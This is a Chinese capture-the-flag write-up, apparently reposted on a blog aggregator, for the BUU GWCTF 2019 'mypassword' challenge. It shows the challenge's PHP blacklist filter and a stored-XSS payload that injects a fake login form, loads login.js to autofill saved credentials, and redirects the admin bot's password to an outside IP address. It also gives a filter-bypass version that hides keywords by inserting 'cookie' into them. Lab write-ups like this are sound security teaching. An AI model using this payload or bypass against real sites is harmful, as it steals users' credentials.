本文主要是介绍BUU [GWCTF 2019]mypassword,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
BUU [GWCTF 2019]mypassword
开题,是个登录界面,也有注册功能
首先我们注册个号看看。然后登录
提示不是SQL注入
有反馈界面,反馈应该管理员会看,可能存在XSS。
查看源码,注释给出了后端源码,对XSS进行了过滤,那就是XSS漏洞了。
根据源码,waf工作原理是把匹配到的危险字符串替换为空,这里看似用来while,可以防止双写等绕过手法,但是存在逻辑漏洞。foreach
依次遍历黑名单,匹配整个输入字符串中是否存在遍历到的黑名单,由于cookie
是最后一位,我们可以在危险字符中插入cookie来绕过过滤,原理类似于双写绕过,危险字符替换为空后功能正常。
<?php
if(is_array($feedback)){echo "<script>alert('反馈不合法');</script>";return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {while(true){if(stripos($feedback,$val) !== false){$feedback = str_ireplace($val,"",$feedback);}else{break;}}
}
返回登录界面,查看源码,发现login.js
文件
源码不难看出,cookie中存放了登录账号和密码。
if (document.cookie && document.cookie != '') {var cookies = document.cookie.split('; ');var cookie = {};for (var i = 0; i < cookies.length; i++) {var arr = cookies[i].split('=');var key = arr[0];cookie[key] = arr[1];}if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){document.getElementsByName("username")[0].value = cookie['user'];document.getElementsByName("password")[0].value = cookie['psw'];}
}
用户名和密码储存在Cookie中,Cookie写入了表单/页面数据。那么我们留言板利用XSS漏洞,构造一个登录框并且引入login.js提交反馈等待bot点开,带出管理员表单/页面数据,就得到了管理员密码(flag)。
payload:
<input type="text" name="username">
<input type="password" name="password">
<script src="./js/login.js"></script>
<script>var passwd = document.getElementsByName("password")[0].value;document.location="http://120.46.41.173:9023/?passwd="+passwd;
</script>
加入绕过过滤后最后的payload:
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>var passwd = docucookiement.getcookieElementsByName("password")[0].value;docucookiement.locacookietion="http://120.46.41.173:9023/?passwd="+passwd;
</scrcookieipt>
稍微等一会,bot的密码(flag)就来了
这篇关于BUU [GWCTF 2019]mypassword的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!